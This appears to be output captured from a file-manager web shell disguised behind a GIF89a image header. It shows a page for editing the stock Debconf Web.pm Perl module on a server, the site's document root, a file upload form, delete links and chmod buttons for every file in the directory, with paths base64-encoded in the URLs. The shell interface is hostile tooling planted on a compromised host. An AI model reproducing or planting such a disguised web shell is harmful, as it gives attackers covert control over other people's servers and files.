GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Web.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=V2ViLnBt"><input name="f" value="Web.pm"><textarea name="t">#!/usr/bin/perl
# This file was preprocessed, do not edit!


package Debconf::FrontEnd::Web;
use warnings;
use strict;
use IO::Socket;
use IO::Select;
use CGI;
use Debconf::Gettext;
use base qw(Debconf::FrontEnd);



sub init {
	my $this=shift;

	$this-&gt;SUPER::init(@_);

	$this-&gt;port(8001) unless defined $this-&gt;port;
	$this-&gt;formid(0);
	$this-&gt;interactive(1);
	$this-&gt;capb('backup');
	$this-&gt;need_tty(0);

	$this-&gt;server(IO::Socket::INET-&gt;new(
		LocalPort =&gt; $this-&gt;port,
		Proto =&gt; 'tcp',
		Listen =&gt; 1,
		Reuse =&gt; 1,
		LocalAddr =&gt; '127.0.0.1',
	)) || die &quot;Can't bind to &quot;.$this-&gt;port.&quot;: $!&quot;;

	print STDERR sprintf(gettext(&quot;Note: Debconf is running in web mode. Go to http://localhost:%i/&quot;),$this-&gt;port).&quot;\n&quot;;
}


sub client {
	my $this=shift;

	$this-&gt;{client}=shift if @_;
	return $this-&gt;{client} if $this-&gt;{client};

	my $select=IO::Select-&gt;new($this-&gt;server);
	1 while ! $select-&gt;can_read(1);
	my $client=$this-&gt;server-&gt;accept;
	my $commands='';
	while (&lt;$client&gt;) {
		last if $_ eq &quot;\r\n&quot;;
		$commands.=$_;
	}
	$this-&gt;commands($commands);
	$this-&gt;{client}=$client;
}


sub closeclient {
	my $this=shift;

	close $this-&gt;client;
	$this-&gt;client('');
}


sub showclient {
	my $this=shift;
	my $page=shift;

	my $client=$this-&gt;client;
	print $client $page;
}


sub go {
	my $this=shift;

	$this-&gt;backup('');

	my $httpheader=&quot;HTTP/1.0 200 Ok\nContent-type: text/html\n\n&quot;;
	my $form='';
	my $id=0;
	my %idtoelt;
	foreach my $elt (@{$this-&gt;elements}) {
		$idtoelt{$id}=$elt;
		$elt-&gt;id($id++);
		my $html=$elt-&gt;show;
		if ($html ne '') {
			$form.=$html.&quot;&lt;hr&gt;\n&quot;;
		}
	}
	return 1 if $form eq '';

	my $formid=$this-&gt;formid(1 + $this-&gt;formid);

	$form=&quot;&lt;html&gt;\n&lt;title&gt;&quot;.$this-&gt;title.&quot;&lt;/title&gt;\n&lt;body&gt;\n&quot;.
	       &quot;&lt;form&gt;&lt;input type=hidden name=formid value=$formid&gt;\n&quot;.
	       $form.&quot;&lt;p&gt;\n&quot;;

	if ($this-&gt;capb_backup) {
		$form.=&quot;&lt;input type=submit value=&quot;.gettext(&quot;Back&quot;).&quot; name=back&gt;\n&quot;;
	}
	$form.=&quot;&lt;input type=submit value=&quot;.gettext(&quot;Next&quot;).&quot;&gt;\n&quot;;
	$form.=&quot;&lt;/form&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n&quot;;

	my $query;
	do {
		$this-&gt;showclient($httpheader . $form);

		$this-&gt;closeclient;
		$this-&gt;client;

		my @get=grep { /^GET / } split(/\r\n/, $this-&gt;commands);
		my $get=shift @get;
		my ($qs)=$get=~m/^GET\s+.*?\?(.*?)(?:\s+.*)?$/;

		$query=CGI-&gt;new($qs);
	} until (defined $query-&gt;param('formid') &amp;&amp;
		 $query-&gt;param('formid') eq $formid);

	if ($this-&gt;capb_backup &amp;&amp; defined $query-&gt;param('back')  &amp;&amp;
	    $query-&gt;param('back') ne '') {
		return '';
	}

	foreach my $id ($query-&gt;param) {
		next unless $idtoelt{$id};

		$idtoelt{$id}-&gt;value($query-&gt;param($id));
		delete $idtoelt{$id};
	}
	foreach my $elt (values %idtoelt) {
		$elt-&gt;value('');
	}

	return 1;
}


1
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/Debconf/FrontEnd<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25m"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=RGlhbG9nLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=RGlhbG9nLnBt"/>Dialog.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=RGlhbG9nLnBt&c=`+btoa(c):0" value="0644"></td><td>7832</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=RWRpdG9yLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=RWRpdG9yLnBt"/>Editor.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=RWRpdG9yLnBt&c=`+btoa(c):0" value="0644"></td><td>2179</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=R25vbWUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=R25vbWUucG0="/>Gnome.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=R25vbWUucG0=&c=`+btoa(c):0" value="0644"></td><td>7519</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=S2RlLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=S2RlLnBt"/>Kde.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=S2RlLnBt&c=`+btoa(c):0" value="0644"></td><td>2085</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=Tm9uaW50ZXJhY3RpdmUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=Tm9uaW50ZXJhY3RpdmUucG0="/>Noninteractive.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=Tm9uaW50ZXJhY3RpdmUucG0=&c=`+btoa(c):0" value="0644"></td><td>744</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=UGFzc3Rocm91Z2gucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=UGFzc3Rocm91Z2gucG0="/>Passthrough.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=UGFzc3Rocm91Z2gucG0=&c=`+btoa(c):0" value="0644"></td><td>7152</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=UmVhZGxpbmUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=UmVhZGxpbmUucG0="/>Readline.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=UmVhZGxpbmUucG0=&c=`+btoa(c):0" value="0644"></td><td>3657</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=U2NyZWVuU2l6ZS5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=U2NyZWVuU2l6ZS5wbQ=="/>ScreenSize.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=U2NyZWVuU2l6ZS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>892</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=VGVsZXR5cGUucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=VGVsZXR5cGUucG0="/>Teletype.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=VGVsZXR5cGUucG0=&c=`+btoa(c):0" value="0644"></td><td>1582</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=VGV4dC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=VGV4dC5wbQ=="/>Text.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=VGV4dC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>166</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&x=V2ViLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=V2ViLnBt"/>Web.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9EZWJjb25mL0Zyb250RW5k&f=V2ViLnBt&c=`+btoa(c):0" value="0644"></td><td>2666</td></tr></table>